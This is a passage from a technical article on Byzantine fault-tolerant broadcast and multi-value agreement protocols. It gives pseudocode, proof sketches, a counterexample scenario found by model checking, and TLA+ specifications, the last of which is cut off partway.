send ⟨READY, v⟩ to all; sentᵣ ← v
upon R(v) ≥ Qₐ ∧ sentᵣ = ⊥ ∧ delivered = ⊥: // Amplification
send ⟨READY, v⟩ to all; sentᵣ ← v
upon R(v) ≥ Q ∧ delivered = ⊥: // Standard delivery
if sentᵣ = ⊥: send ⟨READY, v⟩ to all; sentᵣ ← v
deliver(v); delivered ← v

Note on Totality: When a process delivers via the optimistic path, it also sends READY(v), ensuring the value propagates through amplification. Even if only one correct process initially sees $$Q_o$$ echoes (with Byzantine help), the resulting READY triggers amplification at other processes. Amplification requires only $$Q_a$$ readies (no echo-backing), allowing the value to propagate to $$Q$$ readies for standard delivery. READYs propagate progressively as they arrive at slower processes.

Happy case (honest leader, healthy network): All $n - f$ honest parties ECHO the same value. If the network is well-synchronized, all honest ECHOs arrive quickly, often reaching $$Q_o$$ before the READY phase begins.

Adversarial case (Byzantine leader or delayed messages): Some value reaches $Q$ ECHOs but not $Q_o$. Fall back to three rounds via READYs.

Safety Proof Sketch

Three cases:

Two optimistic deliveries can’t conflict: Both require $Q_o$ ECHOs. By strong intersection, $\geq f+1$ honest parties appear in both sets. But honest parties ECHO once. Contradiction.
Optimistic delivery blocks conflicting standard delivery: If $v$ gets $Q_o$ ECHOs, at least $Q_o - f \geq f + 1$ honest parties echoed $v$. The remaining honest parties ($\leq n - f - (f+1) = n - 2f - 1$) plus $f$ Byzantine can produce at most $n - f - 1 < Q$ votes for any other value.
Standard paths use Bracha’s original safety: Quorum intersection ensures agreement.

The TLA+ Spec

bracha_opt.tla (download)

 1-------------------- MODULE bracha_opt --------------------
 2(*
 3 Optimized Bracha Reliable Broadcast with Fast Path
 4 ===================================================
 5 Can Bölük, April 1, 2025.
 6
 7 Single-leader Byzantine reliable broadcast with optimistic 2-round
 8 delivery. Falls back to standard 3-round Bracha when conditions are
 9 adversarial.
 10
 11 Properties (n > 3f):
 12 - Agreement All honest parties deliver the same value
 13 - Validity If broadcaster is honest, all deliver its input
 14 - Totality If one honest delivers, all honest eventually deliver
 15 - Termination All honest parties eventually deliver
 16
 17 Synchrony: Safety holds under full asynchrony. Termination requires
 18 partial synchrony (bounded message delay after GST).
 19
 20 Fault Model: A faulty broadcaster can send different values to different
 21 recipients. Modeled via a partition function assigning each honest party
 22 to a value. Faulty non-broadcasters can send arbitrary ECHO/READY.
 23 *)
 24
 25EXTENDS Naturals, FiniteSets, TLC
 26
 27\* ============================================================================
 28\* Protocol Parameters
 29\* ============================================================================
 30CONSTANTS
 31 Honest, \* the set of correct processes
 32 Faulty, \* the set of Byzantine processes, may be empty
 33 V \* the set of valid values
 34
 35\* Sentinel for not yet set
 36NULL ≜ "∅"
 37
 38\* Arbitrary value - symmetric so choice irrelevant
 39Command ≜ CHOOSE v ∈ V : TRUE
 40
 41\* ============================================================================
 42\* Definitions
 43\* ============================================================================
 44P ≜ Honest ∪ Faulty \* the set of all processes
 45N ≜ Cardinality(P) \* total number of processes
 46F ≜ Cardinality(Faulty) \* number of Byzantine processes
 47
 48\* Thresholds
 49Q ≜ N - F \* standard quorum (2f+1 when n=3f+1)
 50Qo ≜ N ÷ 2 + F + 1 \* optimistic quorum
 51Qa ≜ F + 1 \* amplification (f+1)
 52
 53ASSUME ∧ N > 3 * F
 54 ∧ V ≠ {}
 55 ∧ Honest ∩ Faulty = {}
 56 ∧ IsFiniteSet(Honest)
 57 ∧ IsFiniteSet(Faulty)
 58 ∧ IsFiniteSet(V)
 59
 60\* Symmetry: combine permutations across Honest, Faulty, V
 61CombinePerm(ph, pf, pv) ≜
 62 [x ∈ P ∪ V ↦ IF x ∈ Honest THEN ph[x]
 63 ELSE IF x ∈ Faulty THEN pf[x]
 64 ELSE pv[x]]
 65
 66Sym ≜ {CombinePerm(ph, pf, pv) :
 67 ph ∈ Permutations(Honest),
 68 pf ∈ Permutations(Faulty),
 69 pv ∈ Permutations(V)}
 70
 71\* Broadcaster candidates (one of each type by symmetry)
 72OneHonest ≜ IF Honest ≠ {} THEN {CHOOSE h ∈ Honest : TRUE} ELSE {}
 73OneFaulty ≜ IF Faulty ≠ {} THEN {CHOOSE f ∈ Faulty : TRUE} ELSE {}
 74
 75\* ============================================================================
 76\* Protocol State Variables
 77\* ============================================================================
 78VARIABLES
 79 broadcaster, \* Distinguished leader process
 80
 81 \* === Honest party broadcast state ===
 82 sent_init, \* [P -> V ∪ {NULL}]
 83 sent_echo, \* [P -> V ∪ {NULL}]
 84 sent_ready, \* [P -> V ∪ {NULL}]
 85
 86 \* === Faulty broadcaster equivocation ===
 87 faulty_equivoc, \* [V -> SUBSET Honest]: partition for faulty broadcaster equivocation
 88
 89 \* === Per-recipient receive tracking (count-based) ===
 90 rcvd_init_v, \* [Honest -> V ∪ {NULL}]: INIT value received
 91 rcvd_echo_cnt, \* [Honest -> [V -> 0..N]]: count of ECHOs for v received
 92 rcvd_ready_cnt, \* [Honest -> [V -> 0..N]]: count of READYs for v received
 93
 94 delivered \* [Honest -> V ∪ {NULL}]: Delivered value
 95
 96send_vars ≜ ⟨sent_init, sent_echo, sent_ready⟩
 97recv_vars ≜ ⟨rcvd_init_v, rcvd_echo_cnt, rcvd_ready_cnt⟩
 98vars ≜ ⟨broadcaster, sent_init, faulty_equivoc, sent_echo, sent_ready,
 99 rcvd_init_v, rcvd_echo_cnt, rcvd_ready_cnt, delivered⟩
100
101\* ============================================================================
102\* Helper Operators
103\* ============================================================================
104HasInit(p) ≜ rcvd_init_v[p] ≠ NULL
105InitValue(p) ≜ rcvd_init_v[p]
106
107SentEchoCount(v) ≜ Cardinality({src ∈ P : sent_echo[src] = v})
108SentReadyCount(v) ≜ Cardinality({src ∈ P : sent_ready[src] = v})
109
110EchoQuorum(p, t) ≜ {v ∈ V : rcvd_echo_cnt[p][v] ≥ t}
111ReadyQuorum(p, t) ≜ {v ∈ V : rcvd_ready_cnt[p][v] ≥ t}
112
113\* ============================================================================
114\* Type Invariant
115\* ============================================================================
116TypeOK ≜
117 ∧ broadcaster ∈ P
118 ∧ sent_init ∈ [P → V ∪ {NULL}]
119 ∧ faulty_equivoc ∈ [V → SUBSET Honest]
120 ∧ sent_echo ∈ [P → V ∪ {NULL}]
121 ∧ sent_ready ∈ [P → V ∪ {NULL}]
122 ∧ rcvd_init_v ∈ [Honest → V ∪ {NULL}]
123 ∧ rcvd_echo_cnt ∈ [Honest → [V → 0‥N]]
124 ∧ rcvd_ready_cnt ∈ [Honest → [V → 0‥N]]
125 ∧ delivered ∈ [Honest → V ∪ {NULL}]
126
127\* ============================================================================
128\* Protocol Initialization
129\* ============================================================================
130Init ≜
131 ∧ broadcaster ∈ OneHonest ∪ OneFaulty
132 ∧ sent_init = [src ∈ P ↦ NULL]
133 ∧ faulty_equivoc = [v ∈ V ↦ {}]
134 ∧ sent_echo = [src ∈ P ↦ NULL]
135 ∧ sent_ready = [src ∈ P ↦ NULL]
136 ∧ rcvd_init_v = [p ∈ Honest ↦ NULL]
137 ∧ rcvd_echo_cnt = [p ∈ Honest ↦ [v ∈ V ↦ 0]]
138 ∧ rcvd_ready_cnt = [p ∈ Honest ↦ [v ∈ V ↦ 0]]
139 ∧ delivered = [p ∈ Honest ↦ NULL]
140
141\* ============================================================================
142\* Message Reception
143\* ============================================================================
144
145\* Receive INIT from honest broadcaster (uniform value)
146ReceiveInitFromHonest(p) ≜
147 ∧ delivered[p] = NULL
148 ∧ rcvd_init_v[p] = NULL
149 ∧ broadcaster ∈ Honest
150 ∧ sent_init[broadcaster] ≠ NULL
151 ∧ rcvd_init_v' = [rcvd_init_v EXCEPT ![p] = sent_init[broadcaster]]
152 ∧ UNCHANGED ⟨broadcaster, sent_init, faulty_equivoc, sent_echo, sent_ready,
153 rcvd_echo_cnt, rcvd_ready_cnt, delivered⟩
154
155\* Receive INIT from faulty broadcaster (uses equivocation partition)
156ReceiveInitFromFaulty(p) ≜
157 ∧ delivered[p] = NULL
158 ∧ rcvd_init_v[p] = NULL
159 ∧ broadcaster ∈ Faulty
160 ∧ ∃ v ∈ V : p ∈ faulty_equivoc[v]
161 ∧ LET v ≜ CHOOSE v ∈ V : p ∈ faulty_equivoc[v]
162 IN rcvd_init_v' = [rcvd_init_v EXCEPT ![p] = v]
163 ∧ UNCHANGED ⟨broadcaster, sent_init, faulty_equivoc, sent_echo, sent_ready,
164 rcvd_echo_cnt, rcvd_ready_cnt, delivered⟩
165
166\* Receive one more ECHO for value v (count-based)
167ReceiveEcho(p) ≜
168 ∧ delivered[p] = NULL
169 ∧ ∃ v ∈ V :
170 ∧ rcvd_echo_cnt[p][v] < SentEchoCount(v)
171 ∧ rcvd_echo_cnt' = [rcvd_echo_cnt EXCEPT ![p][v] = @ + 1]
172 ∧ UNCHANGED ⟨broadcaster, sent_init, faulty_equivoc, sent_echo, sent_ready,
173 rcvd_init_v, rcvd_ready_cnt, delivered⟩
174
175\* Receive one more READY for value v (count-based)
176ReceiveReady(p) ≜
177 ∧ delivered[p] = NULL
178 ∧ ∃ v ∈ V :
179 ∧ rcvd_ready_cnt[p][v] < SentReadyCount(v)
180 ∧ rcvd_ready_cnt' = [rcvd_ready_cnt EXCEPT ![p][v] = @ + 1]
181 ∧ UNCHANGED ⟨broadcaster, sent_init, faulty_equivoc, sent_echo, sent_ready,
182 rcvd_init_v, rcvd_echo_cnt, delivered⟩
183
184Receive(p) ≜
185 ∨ ReceiveInitFromHonest(p)
186 ∨ ReceiveInitFromFaulty(p)
187 ∨ ReceiveEcho(p)
188 ∨ ReceiveReady(p)
189
190\* ============================================================================
191\* Faulty Party Actions
192\* ============================================================================
193
194\* Faulty broadcaster assigns honest parties to value partitions (equivocation)
195FaultyEquivocate ≜
196 ∧ broadcaster ∈ Faulty
197 ∧ faulty_equivoc = [v ∈ V ↦ {}]
198 ∧ ∃ partition ∈ [Honest → V] :
199 faulty_equivoc' = [v ∈ V ↦ {h ∈ Honest : partition[h] = v}]
200 ∧ UNCHANGED ⟨broadcaster, sent_init, sent_echo, sent_ready,
201 rcvd_init_v, rcvd_echo_cnt, rcvd_ready_cnt, delivered⟩
202
203\* Faulty party sends ECHO for arbitrary value
204FaultySendEcho ≜
205 ∃ f ∈ Faulty, v ∈ V :
206 ∧ sent_echo[f] = NULL
207 ∧ sent_echo' = [sent_echo EXCEPT ![f] = v]
208 ∧ UNCHANGED ⟨broadcaster, sent_init, faulty_equivoc, sent_ready,
209 rcvd_init_v, rcvd_echo_cnt, rcvd_ready_cnt, delivered⟩
210
211\* Faulty party sends READY for arbitrary value
212FaultySendReady ≜
213 ∃ f ∈ Faulty, v ∈ V :
214 ∧ sent_ready[f] = NULL
215 ∧ sent_ready' = [sent_ready EXCEPT ![f] = v]
216 ∧ UNCHANGED ⟨broadcaster, sent_init, faulty_equivoc, sent_echo,
217 rcvd_init_v, rcvd_echo_cnt, rcvd_ready_cnt, delivered⟩
218
219FaultyStep ≜
220 ∨ FaultyEquivocate
221 ∨ FaultySendEcho
222 ∨ FaultySendReady
223
224\* ============================================================================
225\* Honest Party Actions
226\* ============================================================================
227
228\* Honest broadcaster sends INIT (same value to all)
229LeaderInit(self) ≜
230 ∧ self = broadcaster
231 ∧ self ∈ Honest
232 ∧ sent_init[self] = NULL
233 ∧ delivered[self] = NULL
234 ∧ sent_init' = [sent_init EXCEPT ![self] = Command]
235 ∧ UNCHANGED ⟨broadcaster, faulty_equivoc, sent_echo, sent_ready,
236 rcvd_init_v, rcvd_echo_cnt, rcvd_ready_cnt, delivered⟩
237
238\* Upon receiving INIT: broadcast ECHO(v)
239EchoOnInit(self) ≜
240 ∧ sent_echo[self] = NULL
241 ∧ delivered[self] = NULL
242 ∧ HasInit(self)
243 ∧ sent_echo' = [sent_echo EXCEPT ![self] = InitValue(self)]
244 ∧ UNCHANGED ⟨broadcaster, sent_init, faulty_equivoc, sent_ready,
245 rcvd_init_v, rcvd_echo_cnt, rcvd_ready_cnt, delivered⟩
246
247\* Upon receiving Q echoes for v: broadcast READY(v)
248ReadyOnEchos(self) ≜
249 ∧ sent_ready[self] = NULL
250 ∧ delivered[self] = NULL
251 ∧ ∃ v ∈ EchoQuorum(self, Q) :
252 sent_ready' = [sent_ready EXCEPT ![self] = v]
253 ∧ UNCHANGED ⟨broadcaster, sent_init, faulty_equivoc, sent_echo,
254 rcvd_init_v, rcvd_echo_cnt, rcvd_ready_cnt, delivered⟩
255
256\* Upon receiving Qa readies for v: broadcast READY(v)
257ReadyAmplify(self) ≜
258 ∧ sent_ready[self] = NULL
259 ∧ delivered[self] = NULL
260 ∧ ∃ v ∈ ReadyQuorum(self, Qa) :
261 sent_ready' = [sent_ready EXCEPT ![self] = v]
262 ∧ UNCHANGED ⟨broadcaster, sent_init, faulty_equivoc, sent_echo,
263 rcvd_init_v, rcvd_echo_cnt, rcvd_ready_cnt, delivered⟩
264
265\* Upon receiving Q readies for v: deliver v (and send READY if not yet sent)
266DeliverOnReady(self) ≜
267 ∧ delivered[self] = NULL
268 ∧ ∃ v ∈ ReadyQuorum(self, Q) :
269 ∧ delivered' = [delivered EXCEPT ![self] = v]
270 ∧ IF sent_ready[self] = NULL
271 THEN sent_ready' = [sent_ready EXCEPT ![self] = v]
272 ELSE UNCHANGED sent_ready
273 ∧ UNCHANGED ⟨broadcaster, sent_init, faulty_equivoc, sent_echo,
274 rcvd_init_v, rcvd_echo_cnt, rcvd_ready_cnt⟩
275
276\* Upon receiving Qo echoes for v: deliver v (fast path)
277OptimisticDeliver(self) ≜
278 ∧ delivered[self] = NULL
279 ∧ ∃ v ∈ EchoQuorum(self, Qo) :
280 ∧ delivered' = [delivered EXCEPT ![self] = v]
281 ∧ IF sent_ready[self] = NULL
282 THEN sent_ready' = [sent_ready EXCEPT ![self] = v]
283 ELSE UNCHANGED sent_ready
284 ∧ UNCHANGED ⟨broadcaster, sent_init, faulty_equivoc, sent_echo,
285 rcvd_init_v, rcvd_echo_cnt, rcvd_ready_cnt⟩
286
287HonestStep(self) ≜
288 ∨ LeaderInit(self)
289 ∨ EchoOnInit(self)
290 ∨ ReadyOnEchos(self)
291 ∨ ReadyAmplify(self)
292 ∨ DeliverOnReady(self)
293 ∨ OptimisticDeliver(self)
294
295\* ============================================================================
296\* Specification
297\* ============================================================================
298Terminated ≜ ∀ p ∈ Honest : delivered[p] ≠ NULL
299
300Done ≜ Terminated ∧ UNCHANGED vars
301
302Next ≜
303 ∨ ∃ p ∈ Honest : HonestStep(p)
304 ∨ ∃ p ∈ Honest : Receive(p)
305 ∨ FaultyStep
306 ∨ Done
307
308\* Weak fairness for honest actions and message reception
309Fairness ≜
310 ∧ ∀ p ∈ Honest : WF_vars(HonestStep(p))
311 ∧ ∀ p ∈ Honest : WF_vars(Receive(p))
312
313Spec ≜ Init ∧ □[Next]_vars ∧ Fairness
314
315\* ============================================================================
316\* Safety Properties
317\* ============================================================================
318
319Agreement ≜
320 ∀ p, q ∈ Honest :
321 (delivered[p] ≠ NULL ∧ delivered[q] ≠ NULL) ⇒ delivered[p] = delivered[q]
322
323Validity ≜
324 broadcaster ∈ Honest ⇒
325 ∀ p ∈ Honest : delivered[p] ≠ NULL ⇒ delivered[p] = Command
326
327\* ============================================================================
328\* Liveness
329\* ============================================================================
330
331Termination ≜ ∀ p ∈ Honest : ◇(delivered[p] ≠ NULL)
332
333=============================================================================

Model check with n=4, f=1 (or n=7, f=2 if you have patience) and verify Agreement, Validity, and Termination.

0x3: From Broadcast to Multi-Value Agreement

The round-optimized Bracha handles the single-leader case. But what if everyone has a value to propose? This is multi-value agreement (MVA):

Every process starts with an input value
All honest processes deliver the same output
If a supermajority agrees on input $v$, output must be $v$
If inputs are split, output can be $\bot$ (explicit “no consensus”)

MVA is useful whenever you have a bunch of servers that need to agree on their own observations, extracting a supermajority opinion from conflicting proposals: leader election, view changes, detecting failures, etc.

The Challenge

Without a designated leader, equivocation isn’t the threat. Fragmentation is. If honest inputs split across multiple values, no single value might reach quorum. We need:

A way to detect when no value can win
A safe way to terminate with $\bot$ in that case
Guarantees that $\bot$ only happens when genuinely necessary

Additional Thresholds

Two more:

\[ \begin{aligned} Q_s &= \lfloor (n + f) / 2 \rfloor + 1 &&\text{(supermajority threshold)} \\ Q_e &= \lfloor n/2 \rfloor + 1 &&\text{(echo-backing threshold)} \end{aligned} \]

If $\geq Q_s$ honest processes have the same input, that value must be the output (“strong validity”).

The echo-backing threshold $Q_e$ prevents an adversary from exploiting message scheduling to make minority values win. More on this shortly.

0x4: The Multi-Value Protocol

The protocol extends round-optimized Bracha with:

ECHO phase: Each process echoes its own input (not a leader’s INIT)
READY phase: Same as before, but can also READY $\bot$ if echoes fragment
ABORT phase: New mechanism for when READYs themselves fragment

Helper definitions (where $E(v)$ and $R(v)$ denote counts of ECHOs and READYs received for value $v$):

$\text{PluralityAmongEchoes}$ $$\text{unique } \underbrace{\arg\max_v E(v)}_{\text{most echoes}} \text{, or } \bot$$

$\text{CanWin}(x)$ $$\underbrace{R(x)}_{\text{current}} + \underbrace{(n - \text{TotalReadies})}_{\text{outstanding}} \geq Q$$

$\text{CanReachQuorum}$ $$\underbrace{\max_v R(v)}_{\text{best}} + \underbrace{(n - \text{TotalReadies})}_{\text{outstanding}} \geq Q$$

$\text{CanReachEchoBacking}$ $$\underbrace{\max_v E(v)}_{\text{best}} + \underbrace{\max(0, n - \text{TotalEchos} - f)}_{\text{remaining honest}} \geq Q_e$$

// State variables (per process):
// sentᵣ ∈ V ∪ {⊥, ∅} - what READY was broadcast (∅ = none yet)
// delivered ∈ V ∪ {⊥, ∅} - delivered value (∅ = none yet)
// sentₐ ∈ {true, false} - whether ABORT was sent
upon start:
send ⟨ECHO, input⟩ to all
upon E(v) ≥ Q ∧ sentᵣ = ∅: // Q echoes -> ready
send ⟨READY, v⟩ to all; sentᵣ ← v
upon TotalEchoes ≥ Q ∧ (∀v: E(v) < Q) // R2: timeout path
∧ sentᵣ = ∅ ∧ delivered = ∅:
plurality ← PluralityAmongEchoes() // unique max, or ⊥ if tied
hasBacking ← plurality ≠ ⊥ ∧ E(plurality) ≥ Qₑ
if ¬hasBacking ∧ CanReachEchoBacking():
wait // more echoes may arrive
else if hasBacking:
send ⟨READY, plurality⟩ to all; sentᵣ ← plurality
else: // no backing possible, demote
send ⟨READY, ⊥⟩ to all; sentᵣ ← ⊥
upon R(v) ≥ Qₐ ∧ sentᵣ = ∅: // R3: amplify value
send ⟨READY, v⟩ to all; sentᵣ ← v
upon R(⊥) ≥ Qₐ ∧ sentᵣ = ∅: // R4: amplify ⊥
send ⟨READY, ⊥⟩ to all; sentᵣ ← ⊥

Why ties must wait: When PluralityAmongEchoes() returns ⊥ (a tie), the protocol waits rather than immediately readying ⊥. Additional honest echoes may break the tie. Only when CanReachEchoBacking() becomes false (all honest echoes have arrived, no value can reach $Q_e$) does the protocol commit to ⊥.

upon E(v) ≥ Qₒ ∧ delivered = ∅ // D1: fast path (2 rounds)
∧ sentᵣ ∈ {∅, v}:
if sentᵣ = ∅: send ⟨READY, v⟩; sentᵣ ← v
delivered ← v
upon R(v) ≥ Q ∧ delivered = ∅ // D2: deliver on ready quorum
∧ (sentᵣ ∈ {∅, v} ∨ ¬CanWin(sentᵣ)):
if sentᵣ = ∅: send ⟨READY, v⟩; sentᵣ ← v
delivered ← v
upon R(⊥) ≥ Q ∧ delivered = ∅ // D3: deliver on ready-⊥ quorum
∧ (sentᵣ ∈ {∅, ⊥} ∨ ¬CanWin(sentᵣ)):
if sentᵣ = ∅: send ⟨READY, ⊥⟩; sentᵣ ← ⊥
delivered ← ⊥
// Abort mechanism (READYs fragment irrecoverably)
upon sentᵣ ≠ ∅ ∧ TotalReadies ≥ Q // A1: initiate abort
∧ (∀v: R(v) < Q) ∧ R(⊥) < Q
∧ ¬CanReachQuorum():
send ⟨ABORT⟩ to all; sentₐ ← true
upon Aborts ≥ Qₐ ∧ sentᵣ ≠ ∅ // A2: amplify abort
∧ sentₐ = false:
send ⟨ABORT⟩ to all; sentₐ ← true
upon Aborts ≥ Q ∧ sentᵣ ≠ ∅ ∧ delivered = ∅ // A3: deliver on abort
∧ TotalReadies ≥ Q ∧ (∀v: R(v) ≤ Q − 2f − 1):
if sentₐ = false: send ⟨ABORT⟩; sentₐ ← true
delivered ← ⊥

Abort triggers when a process has readied, received $Q$ total readies, but no value can reach $Q$. ABORTs propagate via amplification, and $Q$ ABORTs force delivery of $\bot$.

On A3’s guard: The ∀v: R(v) ≤ Q − 2f − 1 condition prevents aborting when a value could have achieved quorum elsewhere. If some value $v$ got $Q$ readies globally, at least $Q - f$ correct processes sent READY(v). A3 requires having heard from $Q$ senders, at least $Q - f$ correct. Pigeonhole: overlap $\geq (Q-f) + (Q-f) - (n-f) = Q - 2f$. So we’d observe $\geq Q - 2f$ readies for $v$ locally, blocking the abort.

Safety Properties

Agreement: Same intersection arguments, plus: if anyone delivers $v \in V$, they saw $Q_o$ ECHOs or $Q$ READYs for $v$. For D1, $\geq Q_e$ correct processes echoed $v$; for D2, $\geq Q_a$ correct processes readied $v$. Either prevents a conflicting value from reaching delivery threshold.

Strong Validity: If $\geq Q_s$ honest processes input $v$, then $v$ has a strict majority among all honest echoes. By Lemma 2 in the spec, any process receiving $Q$ echoes either sees $Q$ for $v$ directly, or $v$ is the majority. Either way, all READYs go to $v$, and $v$ is delivered.

Integrity: If someone delivers $\bot$, it required $Q$ READYs for $\bot$ or $Q$ ABORTs. Both require $\geq Q_a$ honest processes to have sent $\bot$/ABORT. Only happens when no value achieved supermajority.

Termination (partial synchrony): Every honest process eventually receives $Q$ total echoes (since $|Honest| \geq Q$). From there:

Some value reaches $Q_o$: optimistic delivery
Some value reaches $Q$: standard delivery
Echoes fragment: after timeout, demote to $\bot$ when CanReachEchoBacking() = false
READYs fragment: abort mechanism fires

Synchrony Model: Safety (Agreement, Validity, Integrity) holds under full asynchrony. Only demotion-to-⊥ requires partial synchrony (correct-to-correct messages arrive within Δ after GST). Consistent with FLP.

The Echo-Backing Fix

The $E(v) \geq Q_e$ guard on R2 wasn’t in the initial design. Model checking revealed a subtle attack that only surfaces in MVA (not single-leader broadcast). This echo-backing requirement applies only to R2 (plurality ready), not to R3 (amplification).

The Attack: Consider $n = 7, f = 2$ with thresholds $Q = 5$, $Q_o = 6$, $Q_e = 4$. Honest processes $h_1$–$h_4$ input $x$; honest $h_5$ inputs $y$. Byzantine processes send $\text{ECHO}(x)$ to $h_1$ and $\text{ECHO}(y)$ to everyone else.

The adversary schedules delivery so $h_2$ receives its first $Q = 5$ echoes as $\{B_1(y), B_2(y), h_5(y), h_1(x), h_3(x)\}$, giving $E(y) = 3, E(x) = 2$. Without echo-backing, $h_2$ would ready $y$ via R2 (plurality). Similarly for $h_3, h_4, h_5$.

Meanwhile, $h_1$ sees $Q_o = 6$ echoes for $x$ and delivers via D1. If $h_2$–$h_5$ ready $y$ and deliver via D2, Agreement is violated.

Why Echo-Backing Blocks This: The maximum echoes for $y$ at any correct process is:

$$ E(y) = \underbrace{1}_{h_5} + \underbrace{2}_{\text{Byzantine}} = 3 < 4 = Q_e $$

Since $$E(y) < Q_e$$ , R2’s guard fails. Process $$h_2$$ must wait. Eventually $$h_2(x)$$ and $$h_4(x)$$ arrive, yielding $E(x) = 4 \geq Q_e$ . Now $$x$$ is both the plurality and has echo-backing, so $$h_2$$ readies $$x$$ .

A value with $$Q_o$$ echoes at any process guarantees $\geq Q_e$ echoes at every correct process (since $$Q_o - f = Q_e$$ ). The echo-backing guard ensures we only ready values that could plausibly have fast-path support.

Liveness (partial synchrony required): What if plurality exists but can never reach echo-backing? This happens when all correct echoes have arrived but they’re fragmented. Demotion to $\bot$ requires both:

A local timeout has fired, AND
CanReachEchoBacking() = false

Under partial synchrony, after GST all correct-to-correct messages arrive within Δ. A timeout calibrated to ≥ Δ ensures all correct echoes arrive first. Post-timeout, HonestEchoSenders equals the count of correct processes, so CanReachEchoBacking() accurately reflects whether any value can still reach $Q_e$.

If any value had supermajority support ($\geq Q_s$ correct inputs), it would achieve $\geq Q_e$ echoes from correct processes alone, arriving before timeout.

Implementation: The timeout must fire only after all correct echoes arrive. In partial synchrony, use increasing timeouts (exponential backoff) until post-GST. Pre-GST, if a timeout fires early, don’t demote: re-check CanReachEchoBacking() (still true if correct echoes are missing). The TLA+ model makes timeout contingent on all correct echoes having been received.

Safety vs. Liveness: Safety (Agreement, Validity) holds under full asynchrony. Only demotion-to-$\bot$ liveness requires partial synchrony. Consistent with FLP.

The CanWin Fallback

The ¬CanWin(sentᵣ) fallback in D2/D3 prevents livelock. Without it, a process that sent READY for a minority value gets stuck forever when a different value achieves $Q$ readies. The primary guard sentᵣ ∈ {∅, v} fails, but the process can’t deliver. The fallback lets it give up when its value is mathematically eliminated.

The TLA+ Spec

rcast.tla (download)

 1-------------------- MODULE rcast --------------------
 2(*
 3 Rapidcast MVA: Byzantine Multi-Value Agreement with Optimistic Fast Path
 4 ========================================================================
 5 * Version 2. Simplified state representation, abort safety fixes.
 6 Can Bölük, April 3, 2025.
 7
 8 All processes propose values and agree on one output (or ⊥ when inputs
 9 are irreconcilably split). Delivers in 2 rounds when a supermajority
 10 shares the same input; falls back to 3-4 rounds otherwise.
 11
 12 Properties (n > 3f):
 13 - Agreement No two honest processes deliver different values
 14 - Strong Validity Supermajority input v: output v
 15 - Weak Validity Output v ∈ V: some honest process input v
 16 - Integrity Output ⊥: no supermajority existed
 17 - Termination All honest processes eventually deliver
 18
 19 Synchrony: Safety holds under full asynchrony. Termination requires
 20 partial synchrony (bounded message delay after GST).
 21
 22 Fault Model: Byzantine processes may equivocate (send different values
 23 to different recipients). Modeled via per-recipient nondeterministic
 24 message content. Honest processes broadcast uniformly.
 25*)
 26
 27EXTENDS Naturals, FiniteSets, TLC
 28
 29\* ============================================================================
 30\* SYNCHRONY MODEL:
 31\* ============================================================================
 32\* Safety holds under full asynchrony. Termination needs partial synchrony:
 33\* ReadyOnTimeout's ⊥-demotion assumes all honest echoes arrive before
 34\* CanReachEchoBacking becomes false. Implementation: timeout > post-GST Δ.
 35\* Spec abstracts timing via fairness on honest-to-honest delivery.
 36\* ============================================================================
 37
 38\* ============================================================================
 39\* Protocol Parameters
 40\* ============================================================================
 41CONSTANTS
 42 Honest, \* the set of correct processes
 43 Faulty, \* the set of Byzantine processes, may be empty
 44 V \* the set of valid values
 45
 46\* Sentinel values
 47NULL ≜ "∅" \* not yet set
 48Bottom ≜ "⊥" \* no value (abort outcome)
 49VExt ≜ V ∪ {Bottom}
 50
 51\* ============================================================================
 52\* Definitions
 53\* ============================================================================
 54P ≜ Honest ∪ Faulty
 55N ≜ Cardinality(P)
 56F ≜ Cardinality(Faulty)
 57
 58\* Protocol thresholds
 59Q ≜ N - F \* quorum (2f+1 when n=3f+1)
 60Qo ≜ N ÷ 2 + F + 1 \* optimistic delivery
 61Qa ≜ F + 1 \* amplification
 62Qs ≜ (N + F) ÷ 2 + 1 \* supermajority
 63Qe ≜ N ÷ 2 + 1 \* echo-backing (majority)
 64
 65ASSUME ∧ N > 3 * F
 66 ∧ V ≠ {}
 67 ∧ Honest ∩ Faulty = {}
 68 ∧ IsFiniteSet(Honest)
 69 ∧ IsFiniteSet(Faulty)
 70 ∧ IsFiniteSet(V)
 71 \* Disjointness: values, parties, sentinels
 72 ∧ V ∩ P = {}
 73 ∧ Bottom ∉ V ∧ NULL ∉ V
 74 ∧ Bottom ∉ P ∧ NULL ∉ P
 75
 76\* Symmetry: combine permutations across Honest, Faulty, V
 77CombinePerm(ph, pf, pv) ≜
 78 [x ∈ P ∪ V ↦ IF x ∈ Honest THEN ph[x]
 79 ELSE IF x ∈ Faulty THEN pf[x]
 80 ELSE pv[x]]
 81
 82Sym ≜ {CombinePerm(ph, pf, pv) :
 83 ph ∈ Permutations(Honest),
 84 pf ∈ Permutations(Faulty),
 85 pv ∈ Permutations(V)}
 86
 87\* ============================================================================
 88\* Protocol State Variables
 89\* ============================================================================
 90VARIABLES
 91 input, \* [Honest -> V]: honest inputs
 92
 93 \* === Honest party broadcast state ===
 94 sent_echo, \* [Honest -> V ∪ {NULL}]: value broadcast by honest party
 95 sent_ready, \* [Honest -> VExt ∪ {NULL}]: value broadcast by honest party
 96 sent_abort, \* [Honest -> BOOLEAN]: whether honest party sent abort
 97
 98 \* === Per-sender receive tracking ===
 99 rcvd_echo, \* [Honest -> SUBSET (P × V)]: received echoes (only non-NULL)
100 rcvd_ready, \* [Honest -> SUBSET (P × VExt)]: received readies (only non-NULL)
101 rcvd_abort, \* [Honest -> SUBSET P]: senders of ABORT
102
103 delivered \* [Honest -> VExt ∪ {NULL}]: delivered value
104
105send_vars ≜ ⟨sent_echo, sent_ready, sent_abort⟩
106recv_vars ≜ ⟨rcvd_echo, rcvd_ready, rcvd_abort⟩
107vars ≜ ⟨input, sent_echo, sent_ready, sent_abort,
108 rcvd_echo, rcvd_ready, rcvd_abort, delivered⟩
109
110\* ============================================================================
111\* Helper Operators
112\* ============================================================================
113Max(a, b) ≜ IF a ≥ b THEN a ELSE b
114SetMax(S) ≜ IF S = {} THEN 0 ELSE CHOOSE x ∈ S : ∀ y ∈ S : x ≥ y
115
116\* Get echo value from sender s at process p (NULL if not received)
117GetEcho(p, s) ≜ IF ∃ v ∈ V : ⟨s, v⟩ ∈ rcvd_echo[p]
118 THEN CHOOSE v ∈ V : ⟨s, v⟩ ∈ rcvd_echo[p]
119 ELSE NULL
120
121\* Get ready value from sender s at process p (NULL if not received)
122GetReady(p, s) ≜ IF ∃ w ∈ VExt : ⟨s, w⟩ ∈ rcvd_ready[p]
123 THEN CHOOSE w ∈ VExt : ⟨s, w⟩ ∈ rcvd_ready[p]
124 ELSE NULL
125
126\* Who has sent us an echo?
